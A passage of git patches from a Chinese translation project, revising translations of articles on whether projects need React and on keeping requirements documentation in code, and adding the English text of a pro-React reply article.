-5. New incoming content! Inject again! Make sure it has the right event bindings!
+3. 监听特定区域的特定事件（event）！
 
-    又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！
+4. 在这里绑定一个新事件！
 
-
-All these things can happen any time from anywhere in an app that's gone spaghetti. Real organization has been given up and it's back to the DOM as the source of truth. It's hard to know exactly what's going on for any given element, so everybody just asks the DOM, does what they need to do, and crosses their fingers it doesn't mess with somebody else.
+5. 又来了新内容。再次插入到 HTML 里，确保它绑定了正确的事件！
 
 此类事情可以发生在一个 app 的任何地方、任何时间，这就造成了面条式代码。手动管理是不靠谱的，因为这么做的话又变成 DOM 数据源了。很难准确的知道任何给定的元素发生了什么，所以每个人只好直接查询 DOM ，做他们必须做的事情，顺便向上帝祈祷他们这么做没干扰到别人。
 
-React says: you don't get to deal with the DOM directly. I have a virtual DOM and I deal with that. Events are bound directly to the elements, and if you need it to do something above and beyond something directly handle-able in this module, you can kind of ceremoniously call things in higher order modules, but that way, the breadcrumb trail can be followed.
-
-React 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。事件直接绑定在组件内，如果你想在该组件之外做些什么的话，只需要按照规范在父组件里调用就可以了。通过这种方式，所有的逻辑就有迹可循了。
-
-*Complicated* DOM management is another thing. Imagine a chat app. New chat messages might appear because a realtime database has new data from other chatters and some new messages have arrives. Or you've typed a new message yourself! Or the page is loading for the first time and old messages are being pulled from a local data store so you have something to see right away. Here's [a Twitter thread](https://twitter.com/mjackson/status/849636985740210177) that drives that home.
+React 框架说：你不需要直接操作 DOM 。我用虚拟 DOM 来处理真实的 DOM。如果你想要操作 DOM，可以直接在虚拟 DOM 上操作。通过这种方式，所有的逻辑就有迹可循了。
 
-管理**复杂的** DOM 是另一件 适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。
-
-### ❌ Just because. It's the new hotness. ###
+管理**复杂的** DOM 是另一件适合 React 框架的事情。想象有一个聊天软件，当数据库接收到其他聊天者传递来的新聊天信息时，在聊天窗口里应该显示这些新的信息。否则你只能自己给自己聊天了！或者当聊天页面第一次被加载的时候，可以从本地数据库里找出几条旧信息显示出来，这样你立刻有东西可以看了。比如说这个[推特例子](https://twitter.com/mjackson/status/849636985740210177)。
 
 ### ❌ 只是因为，React 框架是目前最火的框架。 ###
 
-Learning something for the sake of learning something is awesome. Do that. 
-
-为了学习而学习，是非常酷的。坚持下去。
-
-Building a project for clients and real human being users requires more careful consideration. 
+学习新东西是很酷的，所以学习吧！
 
 为了满足用户的需求而构建项目则需要更谨慎一点。
 
-A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
-
 举个例子，一个博客**也许**没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是**很不**适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
 
-And yet, gray area. If that blog is a SPA ("Single Page App", e.g. no browser refreshing) that is built from data from a headless CMS and had fancy server-side rendering... well maybe that is React territory again.
-
 在完全适合和完全不适合之间，如果这个博客是一个 SPA （“单页面应用”，不需要浏览器刷新），通过 headless CMS 获取数据构建该博客，并且具有出色的服务端渲染...好吧，也许又是 React 框架的领域。
 
-The web app CMS that makes that blog? Maybe a good choice for React, because of all the state.
-
-网络 app 内容管理系统创建的这种博客？也许用 React 是一个好选择，因为也是一大堆的状态。
-
-### ❌ I just like JavaScript and want to write everything in JavaScript. ###
+如果是 web app CMS 创建的这种博客？也许用 React 是一个好选择，因为它也有一大堆的状态。
 
 ### ❌ 我就是喜欢 JavaScript ，就是想用它来编写任何东西。 ###
 
-People get told, heck, I've told people: learn JavaScript. It's huge. It powers all kinds of stuff. There are jobs in it. It's not going anyway.
-
-我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，所以好好学习 JavaScript 永远不会过时。
+我经常安利周围的人：学习 JavaScript。因为 JavaScript 的知识太丰富了。它能做很多很多的事情，也有很多的工作机会，所以好好学习 JavaScript 永远不会过时。
 
-It's only in recent web history that it's become possible to never leave JavaScript. You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
-
-只有在最近的网络发展中，Javascript 才变的不可或缺。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来操作 HTML。
-
-All JavaScript! All hail JavaScript!
+只有在最近的网络技术历史里，Javascript 才可以做所有的事情。你通过 Node.js 构建服务端，也有很多项目可以通过 JavaScript 处理 CSS。现在通过 React 框架，你还可以通过 JavaScript 来写 HTML。
 
 万物归于 JavaScript！JavaScript 万岁！
 
-That's cool and all, but again, just because you can doesn't mean you should. Not all projects call for this, and in fact, most probably don't. 
-
-JavaScript 确实碉堡了，但是你可以这么做并不意味着你必须这么做。并不是所有的项目都必须使用 JavaScript ，而且事实上，有相当一部分有可能压根不需要。
-
-### ☯️ That's what I know. ###
+React 确实碉堡了，但是你可以用 React 并不意味着你必须用 React 。并不是所有的项目都必须使用它 ，而且事实上，有相当一部分有可能压根不需要它。
 
 ### ☯️ 这就是我所知道的。 ###
 
-(There are decent emojis for YES and NO, but MAYBE is tougher!)
-
-（**是**和**否**有体面的表情，但是**也许**更坚韧！）
+（**是**或者**否**都可以找到合适的表情来表达，但是想表达**也许**的意思就会很复杂）（译者注： 原文为 *There are decent emojis for YES and NO, but MAYBE is tougher!* ，我理解作者想表达一种“个人观点仅供参考”的意思。是或者否都是绝对意义上的概念，二元论。但是“一个项目用什么技术”这个问题没有什么绝对意义上的是与否，只有适合与更适合。）
 
-
-You're learning. Awesome. Everybody is. Keep learning. The more you know the more informed decisions you can make about what tech to use. 
-
-你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术。
-
-But sometimes you gotta build with what you know, so I ain't gonna ding ya for that.
+你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术更好。
 
 但是很多时候你只能以现有的技术来构建项目，所以我也不会反复强调这一点。
 
-### ☯️ That's where the jobs are. ###
-
 ### ☯️ 这就是工作。 ###
 
-Not everybody has a direct say in what technology is used on any given project. Hopefully, over time, you have influence in that, but that takes time. Eden says she [spent 2 years with Ember](https://twitter.com/edenthecat/status/849640183360352257) because that's where the jobs were. No harm in that. Everybody's gotta get paid, and Ember might have been a perfect fit for those projects.
-
 在给定的任何项目中，不是每个人都决定应该底用什么技术。希望随着时间的增长，你可以更大层度上的影响决策。Eden 说她[花了两年的时间研究 Ember](https://twitter.com/edenthecat/status/849640183360352257)，因为这就是她的工作。没有任何冒犯的意思，但是拿人钱财就得替人消灾。Ember 也许比较适合这些项目。
 
 ---

From 0148db5df34fe32532ab4b241beec7b0fb6ee0c8 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Wed, 3 May 2017 19:54:00 +0800
Subject: [PATCH 320/638] jiaoyan

---
 TODO/the-truth-is-in-the-code.md | 140 +++++++++++++++----------------
 1 file changed, 70 insertions(+), 70 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 1a0cc11d04e..05a4badbb80 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -4,7 +4,7 @@
 > * 译者：[loveky](https://github.com/loveky)
 > * 校对者：
 
-# 真相都在代码中 #
+# 真相在代码中 #
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
@@ -22,23 +22,23 @@
 
 即便开发人员一直都在撰写繁琐的文档以描述软件的行为。代码也在做着相同的事。
 
-代码注释，外部规范也在记录软件的行为。但是当代码被修改时它们可能不会被同步的更新。然后它们很快就不再能反映代码的行为了。
+代码注释，外部规范也在记录软件的行为。但是当代码被修改时它们可能不会被同步更新。然后它们很快就不再能表达代码的行为了。
 
-另一方面，代码 *始终* 都能表达软件的行为。因为正是它定义了这些行为。
+另一方面，代码**始终**都能表达软件的行为。因为正是它定义了这些行为。
 
 这就是为什么说真相存在于代码中。
 
 ### 为阅读你代码的人考虑 ###
 
-代码是一种文档。任何文档都应该能被它的读者所理解。
+代码是一种文档。任何文档都应该能够被它的读者理解。
 
 代码的读者可能是一个编译器，解释器或是其他开发人员。
 
 所以你的代码仅能编译通过是不够的。你还要保证其他开发人员能够读懂它。未来他们需要在你代码的基础上工作，修改它，扩展它。
 
-一个关于使代码容易阅读的常见建议是编写整洁的代码。整洁的代码指的是使用易懂的语言命名变量和方法的代码。这也使得很多的代码注释变得不必要了。
+一个关于使代码容易阅读的常见建议是编写整洁的代码。整洁的代码指的是使用易懂的语言命名变量和方法的代码。这也使得很多代码注释变得不必要了。
 
-整洁的代码应该能表达意图：使用者通过调用该方法能 *做什么*。而不是 *如何做*。
+整洁的代码应该能表达意图：使用者通过调用该方法能**做什么**。而不是**怎么做**。
 
 猜测一下这个方法是做什么的：
 
@@ -56,33 +56,33 @@
 
 ### 知识共享的重要性 ###
 
-当有一个新需求的时候，你需要评估实现该需求对现有代码的影响。
+当有一个新需求时，你需要评估实现该需求对现有代码的影响。
 
-如果你的软件已经存在了一段时间的话，这可能会是个挑战。我经常会听到这样的对话：
+如果你的软件已经存在了一段时间，这可能会是个挑战。我经常听到这样的对话：
 
-*X*: 我们不能继续开发 *foo* 特性了。
+**X**: 我们不能继续开发**foo**特性了。
 
-*Y*: 为什么？
+**Y**: 为什么？
 
-*X*: 因为 *Z* 是唯一了解这块代码的人。我们要改动的代码就是他开发的。
+**X**: 因为**Z**是唯一了解这块代码的人。我们要改动的代码就是他开发的。
 
-*Y:* 好吧，为什么不去问问他呢？
+**Y:** 好吧，为什么不去问问他呢？
 
-*X*: 因为他病了 / 休假了 / 在开会 / 离职了。
+**X**: 因为他病了/休假了/在开会/离职了。
 
-*Y*: 额…
+**Y**: 额……
 
 事情就是这样。要想知道你的代码是否容易被理解，至少要有个人去尝试阅读它。
 
-有这方面的技术。[结对编程](https://en.m.wikipedia.org/wiki/Pair_programming) 就是一个不错的选择。或者是和其他开发人员坐下来，一起过一遍你写的代码。
+有这方面的技术。[结对编程](https://en.m.wikipedia.org/wiki/Pair_programming)就是一个不错的选择。或者是和其他开发人员坐下来，一起过一遍你写的代码。
 
 然而，如果参与一个项目的开发人员太多呢？如果一个研发团队的成员变化了呢？这使得编写容易被其他人理解的代码变得更困难了。
 
 ### 故事 ###
 
-整洁代码带给你正确的 *单词*。
+整洁代码带给你正确的**单词**。
 
-问题是：你在代码中使用它们讲述怎样的 *故事* 呢？
+问题是：你在代码中使用它们讲述怎样的**故事**呢？
 
 我不知道。
 
@@ -92,7 +92,7 @@
 
 ### 手套商店的例子 ###
 
-作为一个软件的用户，我想要 [到达期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
+作为一个软件的用户，我想要[到达期望的目的](https://medium.freecodecamp.com/nobody-wants-to-use-software-a75643bee654?source=linkShare-a74297325869-1489339708)。比如，我想拥有一双新手套以便我的手指在冬天可以保持温暖。
 
 因此我上网寻找并发现了一家新开的线上手套专卖店。该店铺的网站可以让我购买手套。“基本流程”（也被成为“愉快场景”）大概是这样的：
 
@@ -114,73 +114,73 @@
 
 从一个用户的角度来看，我想弄明白当出现错误时系统是如何应对的。
 
-我还想搞清楚流程中可能的分之。例如，用户企图从支付详情页回到配送信息页时会发生什么？用户可以这样操作吗？
+我还想搞清楚流程中可能的分支。例如，用户企图从支付详情页回到配送信息页时会发生什么？用户可以这样操作吗？
 
 我想知道每一个用例中的不同部分对应哪块代码。
 
-#### 那么一个用例由哪些 *组件* 构成呢？###
+#### 那么一个用例由哪些零件构成呢？###
 
-用例的基础组件是使用户离期望结果更进一步的 *步骤*。比如：“系统展示一个手套的列表。”
+用例的基础零件是使用户离期望结果更进一步的**步骤**。比如：“系统展示一个手套的列表。”
 
-不是所有用户都可以执行某一步骤，只有特定用户组的成员（“*行为者*”）才可以这么做。例如，终端消费者买手套。销售人员向系统中添加新款手套的报价。
+不是所有用户都可以执行某一步骤，只有特定用户组的成员（“**行为者**”）才可以这么做。例如，终端消费者买手套。销售人员向系统中添加新款手套的报价。
 
 某些步骤由系统主动执行。就好像在展示手套列表时一样。无需用户交互。
 
-有的步骤则是用户交互的结果。系统 *响应* 某些 *用户事件*。例如：用户输入配送信息。系统保存这些信息。
+有的步骤则是用户交互的结果。系统**响应**某些**用户事件**。例如：用户输入配送信息。系统保存这些信息。
 
-我想知道这些事件中包含哪些*数据*。配送信息包含用户的姓名，地址等等。
+我想知道这些事件中包含哪些**数据**。配送信息包含用户的姓名，地址等等。
 
-用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的*流程*。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的*条件*。
+用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的**流程**。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的**条件**。
 
 #### 要理解代码，你需要一个简单方法来了解几件事情。###
 
 对于一个用例（例如“买手套”）：
 
-- *步骤*的*流程*
+- **步骤**的**流程**
 
 对于每个步骤：
 
-- 哪些 *行为者* 有执行的权限（也就是哪个用户组）
-- 在哪些*条件*下，系统可以响应
-- 该步骤是*自发的*还是基于*用户交互*
-- *系统*的*响应*
+- 哪些**行为者**有执行的权限（也就是哪个用户组）
+- 在哪些**条件**下，系统可以响应
+- 该步骤是**自发的**还是基于**用户交互**
+- **系统**的**响应**
 
 对于每个基于用户交互的步骤：
 
-- *用户事件*（例如“用户输入配送信息”）
-- 伴随事件而来的*数据*
+- **用户事件**（例如“用户输入配送信息”）
+- 伴随事件而来的**数据**
 
-一旦我知道在哪里可以找到用例以及它的组件之后，我就可以深入研究了。
+一旦我知道在哪里可以找到用例以及它的零件之后，我就可以深入研究了。
 
-### 第二章: Breaking things down into steps through components ###
+### 第二章: 通过组件分解步骤 ###
 
-让我们把你软件中一个封装的，可替换的构建模块成为一个*组件*。一个组件的*职责*可以被该组件之外的世界访问到。
+让我们把你软件中一个封装的，可替换的组成单位称为一个**组件**。一个组件的**职责**可以被该组件之外的世界访问。
 
 一个组件可能是：
 
-- 一个技术组件，比如数据仓库
+- 一个技术组件，比如数据库
 - 一个服务，比如“购物车服务”
 - 你的领域模型中的一个实体
 
-这取决于你的软件设计。但不论你的组件是什么：你通常都需要若干个组件配合来实现用例中的一个步骤。
+这取决于你的软件设计。但不论你的组件是什么：你通常都需要若干个组件配合来实现用例中的某个步骤。
 
-让我们来看看“系统展示一个手套的列表”这一步骤中的*系统响应*。你很可能需要开发至少两项*指责*。一个用来在数据库中查找手套，另一个用来把这些数据转变为一个页面。
+让我们来看看“系统展示一个手套的列表”这一步骤中的**系统响应**。你很可能需要开发至少两项**职责**。一个用来在数据库中查找手套，另一个用来把这些数据转变为一个页面。
 
 当阅读代码时，我希望能了解以下这些内容：
 
-- 一个组件的*职责*是什么。例如：对数据库来说是“查找手套”。
-- 每个职责的*输入* / *输出* 是什么。输入的例子：查找手套的规则。输出的例子：手套列表。
-- 谁来*协调*这些职责。例如：首先查找手套，然后将结果转换成一个网页。
+- 一个组件的**职责**是什么。例如：对数据库来说是“查找手套”。
+- 每个职责的**输入**/**输出**是什么。输入的例子：查找手套的规则。输出的例子：手套列表。
+- 谁来**协调**这些职责。例如：首先查找手套，然后将结果转换成一个网页。
 
 ### 第三章：组件做什么 ###
 
-组件的代码用来实现它的职责。A component’s code fulfills responsibilities.
+组件的代码用来实现它的职责。
 
-这通常出现在*领域模型*中。领域模型使用和业务领域相关的术语。
+这通常出现在**领域模型**中。领域模型使用和业务领域相关的术语。
 
-举例来说，一个术语可以是手套。另一个可以是订单。
+举例来说，手套可以是一个术语。订单也可以是一个术语。
 
-领域模型用于描述每个术语的*数据*。每个手套都有颜色，品牌，尺码，价格等数据。
+领域模型用于描述每个术语的**数据**。每个手套都有颜色，品牌，尺码，价格等数据。
 
 领域模型还用来描述基于这些数据的运算。一个订单的总价是该订单中用户购买的所有手套价格的总和。
 
@@ -188,31 +188,31 @@
 
 ### 讲述你的故事 ###
 
-你的故事可能看起来和上面提到的故事很相似，也可能完全不同。不论你的故事是怎样的，编程语言都给了你极大的自由来表达你自己并讲述那个故事。
+你的故事可能看起来和上面提到的故事很相似，也可能完全不同。不论你的故事是怎样的，编程语言都给了你极大的自由来讲述你的故事。
 
 这是件好事情，因为它允许开发人员适应不同的上下文与需求。
 
 这也承担了由开发人员讲述太多不同故事（哪怕是针对同一个产品）带来的风险。使得理解其他人编写的代码变得更困难了。
 
-解决这个问题的一个方法是使用设计模式。它们可以帮你合理组织你的代码。你可以在团队中甚至是团队间就这种通用结构达成一致。
+解决这个问题的一个办法是使用设计模式。它们可以帮你合理的组织代码。你可以在团队中甚至是团队间就这种通用结构达成一致。
 
-例如：Rails框架就是基于众所周知的 模型 视图 控制器 模式的。
+例如：Rails框架就是基于众所周知的模型、视图、控制器模式的。
 
-模型用于放置*领域数据*。
+模型用于放置**领域数据**。
 
-视图是客户端用户界面，比如HTML页面。这是*用户事件*的来源。
+视图是客户端用户界面，比如HTML页面。这是**用户事件**的来源。
 
-控制器在服务器端接用户事件。它负责*流程*。
+控制器在服务器端接收用户事件。它负责**流程**。
 
 因此，如果多个开发人员使用Rails，他们就知道在哪里能找到和故事中特定部分相关的代码。
 
 他们可以在分享他们的理解时找出缺失的东西。然后，他们就可以进一步的就约定在哪里放置故事的模块达成一致。
 
-如果这些适用于你，那就很好了。但我想比这更进一步。
+如果这些适用于你，那就好了。但我想比这更进一步。
 
 ### 代码即需求 ###
 
-我的很多客户问我如何处理长期的软件文档。
+很多客户问我如何处理长期的软件文档。
 
 在敏捷开发中，如何创建软件维护文档？
 
@@ -228,48 +228,48 @@
 
 换句话说：如果你非常小心的在代码中讲述你的故事，为何还要再说一遍呢？
 
-只需要一个更好的方法。它可以提取故事，并基于它生成文档。同时非技术相关方也能理解。
+需要有更好的方法。它可以提取故事，并基于它生成文档。非技术相关方也能理解的文档。
 
-始终保持最新状态的文档，因为它来自于定义软件行为的相同来源。
+始终保持最新状态的文档，因为正是它的来源定义了软件行为。
 
 唯一可靠的来源：代码自身。
 
-在许多次尝试之后，我有了一些成果。我把它们发布在一个名为[requirementsascode](https://github.com/bertilmuth/requirementsascode)的GitHub项目中。
+在许多次尝试之后，我有了一些成果。我把它们发布在一个名为 [requirementsascode](https://github.com/bertilmuth/requirementsascode) 的 GitHub 项目中。
 
-### 它是如何运行的 ###
+### 它是如何工作的 ###
 
 ![](https://cdn-images-1.medium.com/max/800/1*rZAA0h24T9SdEZYdE7stIQ@2x.png)
 
-- UssCaseModel示例用与定义*行为者*，*用例*，它们的*流程*以及*步骤*。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。
-- 用例模型配置UseCaseModelRunner实例。每个用户都有自己的运行程序，因为每个用户选择执行的用例路径可能不同。
-- 运行程序通过调用后端的*系统响应*来响应前端的*用户事件*。前端只能通过运行程序和后端通信。
-- 但是运行程序只有当用户在*流程*中的正确位置且满足步骤的*条件*时才会响应用户。例如：运行程序只有在用户已经输入了配送信息之后才会响应“进入支付详情页”事件。
-- *system reaction*是一个单例方法。方法内部负责协调不同组件实现该步骤，就像在第二章中描述的那样。
-- 第三章已经超出了requirementsascode的范畴。它留给应用程序决定。这使得requirementsascode可以兼容任意的软件设计。
+- UssCaseModel 实例用于定义**行为者**，**用例**，它们的**流程**以及**步骤**。它讲述故事的第一章。在本文的开头你能找到一个这种模型的例子。
+- 用例模型配置 UseCaseModelRunner 实例。每个用户都有自己的运行程序，因为每个用户选择执行的用例路径可能不同。
+- 运行程序通过调用后端的**系统响应**来响应前端的**用户事件**。前端只能通过运行程序和后端通信。
+- 但是运行程序只有当用户在**流程**中的正确位置且满足步骤的**条件**时才会响应用户。例如：运行程序只有在用户已经输入了配送信息之后才会响应“进入支付详情页”事件。
+- **system reaction**是一个单例方法。方法内部负责协调不同组件以实现该步骤，就像在第二章中描述的那样。
+- 第三章已经超出了 requirementsascode 的范畴。它留给应用程序决定。这使得 requirementsascode 可以兼容任意的软件设计。
 
-因此，基于UseCaseModel，UseCaseModelRunner控制了对用户可见的软件行为。
+因此，基于 UseCaseModel，UseCaseModelRunner 控制了对用户可见的软件行为。
 
-通过[requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract)，你可以从同一个配置运行程序的用例模型中生成文档。这样，文档就可以始终反应软件的行为了。进一步的处理可以生成其它格式的文档，例如PDF。
+通过 [requirementsascodeextract](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeextract)， 你可以从同一个配置运行程序的用例模型中生成文档。这样，文档就可以始终表达软件的行为了。
 
-Requirementsascodeextract使用了FreeMarker模板引擎。它允许你生成任何你喜欢的纯文本文档。例如HTML页面。未来还可以
+Requirementsascodeextract 使用了 FreeMarker 模板引擎。它允许你生成任何你喜欢的纯文本文档。例如 HTML 页面。进一步的处理可以生成其它格式的文档，例如 PDF。
 
 ### 你的反馈可以帮我改进这个项目 ###
 
-我从几年前就开始了requirementsascode这个项目，直到最近才将它公开。与最初相比，它已经得到了极大的改善。
+我从几年前就开始了 requirementsascode 这个项目，直到最近才将它公开。与最初相比，它已经得到了极大的改善。
 
 为了了解这种方法是否具有可扩展性，我尝试在一个有数千行代码的项目中使用。被证明是有效的。我也在一些更加小型的应用中尝试过。
 
-到目前为止，requirementsascode一直都是我的业余项目。
+到目前为止，requirementsascode 一直都是我的业余项目。
 
 这就是为什么我需要你们的帮助。请给我一些反馈。
 
 你觉得这个想法怎么样？你能想象它在你的软件上下文中有效吗？还有其他的反馈意见吗？
 
-你可以在评论区给我留言或是在[Twitter](https://twitter.com/BertilMuth) 或 [LinkedIn](https://www.linkedin.com/in/bertilmuth)和我联系。
+你可以在评论区给我留言或是在 [Twitter](https://twitter.com/BertilMuth) 或 [LinkedIn](https://www.linkedin.com/in/bertilmuth) 和我联系。
 
 你可以[克隆](https://github.com/bertilmuth/requirementsascode)这个项目并亲自尝试一下。
 
-也可以{帮助](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md)在代码中记录真相。
+也可以[帮助](https://github.com/bertilmuth/requirementsascode/blob/master/CONTRIBUTING.md)在代码中记录真相。
 
 ---
 

From 9071ad4bb2cc13fa2287e6be696a40beb2073373 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Wed, 3 May 2017 19:56:44 +0800
Subject: [PATCH 321/638] save

---
 TODO/the-truth-is-in-the-code.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 05a4badbb80..d5428c53955 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -8,7 +8,7 @@
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
-[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型,[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
+[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型, [requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
 
 早晚有一天，每个程序员都会听到这样一句话：
 
@@ -118,7 +118,7 @@
 
 我想知道每一个用例中的不同部分对应哪块代码。
 
-#### 那么一个用例由哪些零件构成呢？###
+#### 那么一个用例由哪些零件构成呢？####
 
 用例的基础零件是使用户离期望结果更进一步的**步骤**。比如：“系统展示一个手套的列表。”
 
@@ -132,7 +132,7 @@
 
 用户在任何给定的时间点上只能执行一部分步骤。用户只有在输入配送信息后才可以填写支付详情。因此每一个用例中都有一个定义了该用例中所有步骤执行顺序的**流程**。以及一个根据系统当前状态，表示系统是否可以响应用户的操作的**条件**。
 
-#### 要理解代码，你需要一个简单方法来了解几件事情。###
+#### 要理解代码，你需要一个简单方法来了解几件事情。####
 
 对于一个用例（例如“买手套”）：
 

From 90e440ea3086e0c957f7af606d9c76a8a48b91f9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Wed, 3 May 2017 22:35:18 +0800
Subject: [PATCH 322/638] =?UTF-8?q?2017.5.3=20=E7=BB=8F=E7=BE=A4=E5=86=85?=
 =?UTF-8?q?=E9=AB=98=E4=BA=BA=E6=8C=87=E7=82=B9=EF=BC=8C=E4=BF=AE=E6=94=B9?=
 =?UTF-8?q?=E5=92=8C=E5=9B=BE=E6=A0=87=E6=9C=89=E5=85=B3=E7=9A=84=E7=BF=BB?=
 =?UTF-8?q?=E8=AF=91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/project-need-react.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index 5f009909d26..62e1ae7b4a6 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -116,7 +116,7 @@ React 确实碉堡了，但是你可以用 React 并不意味着你必须用 Rea
 
 ### ☯️ 这就是我所知道的。 ###
 
-（**是**或者**否**都可以找到合适的表情来表达，但是想表达**也许**的意思就会很复杂）（译者注： 原文为 *There are decent emojis for YES and NO, but MAYBE is tougher!* ，我理解作者想表达一种“个人观点仅供参考”的意思。是或者否都是绝对意义上的概念，二元论。但是“一个项目用什么技术”这个问题没有什么绝对意义上的是与否，只有适合与更适合。）
+（**是**或者**否**都可以找到合适的图标来表达，但是想表达**也许**的意思就比较复杂）（译者注： 指作者此处用太极的图标表示**也许**的意思。）
 
 你在学习，太好了。每个人都在学习，所以坚持学习吧。你知道的越多，你越知道该应该用什么技术更好。
 

From 5cc0870930254412209cbc42eac3b70b4ed1dbe2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 22:55:56 +0800
Subject: [PATCH 323/638] Create projects-need-react.md

---
 TODO/projects-need-react.md | 108 ++++++++++++++++++++++++++++++++++++
 1 file changed, 108 insertions(+)
 create mode 100644 TODO/projects-need-react.md

diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
new file mode 100644
index 00000000000..fb64aa59e23
--- /dev/null
+++ b/TODO/projects-need-react.md
@@ -0,0 +1,108 @@
+> * 原文地址：[Which Projects Need React? All Of Them!](https://css-tricks.com/projects-need-react/)
+> * 原文作者：[SACHA GREIF](https://css-tricks.com/author/sachagreif/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Which Projects Need React? All Of Them! #
+
+When does a project need React? That's the question Chris Coyier addressed in [a recent blog post](https://css-tricks.com/project-need-react/). I'm a big fan of Chris' writing, so I was curious to see what he had to say. 
+
+In a nutshell, Chris puts forward a series of good and bad reasons why one might want to use React (or other similar modern JavaScript libraries) on a project. Yet while I don't disagree with his arguments, I still find myself coming to a different conclusion. 
+
+So today, I'm here to argue that the answer to "When does a project need React?" is not "it depends". It's "**every time**". 
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/tools.jpg)
+
+### React vs Vue vs Angular vs… ###
+
+First, let's get something out of the way: in his article, Chris picked React as a stand-in for "front-end libraries" in general, and I'll do the same here. Plus, React is what I'm most familiar with from my ongoing work on [VulcanJS](http://vulcanjs.org), a React and GraphQL framework. 
+
+That being said, my arguments should apply equally well to any other library that offers the same features as React. 
+
+### The Power of the Hammer ###
+
+> When all you have is a hammer, everything looks like a nail.
+
+This proverb has long been used to condemn anybody trying to apply a systematic one-size-fits-all approach to every problem. 
+
+But let's suppose for a moment that you *did* live in a world full of nails (however uncomfortable this might sound), and that your trusty hammer was able to take care of any issues you encounter. 
+
+Just consider the benefits of being able to **reuse the same tool every time**:
+
+- No time spent on deciding which tool to use. 
+- Less time spent having to learn new tools.
+- More time to get better at wielding your tool of choice. 
+
+So is React that tool? I think it just might be!
+
+### The Complexity Spectrum ###
+
+First, let's address the most common argument against the "React all the things!" approach. I'll quote directly from Chris:
+
+> A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
+
+Fair enough. A simple blog doesn't *need* React. After all, even if you need a bit of JavaScript to hook up a newsletter sign-up form, you can just use jQuery. 
+
+What's that? You need to use that form in multiple places on different pages? And only show it under certain conditions? And animate it, too? Wait, hold on…
+
+The point I'm trying to make with this little scenario is that complexity is not an all-or-nothing, binary choice. Instead, modern websites live on a continuous spectrum that goes from static page all the way to rich single-page app. 
+
+So maybe your project is comfortably nested at the "simple" end of the spectrum *now*, but what about six months down the road? Isn't it better to pick a technology that leaves you room to grow, rather than one that pigeon-holes you into bad practices?
+
+### The Benefits of React ###
+
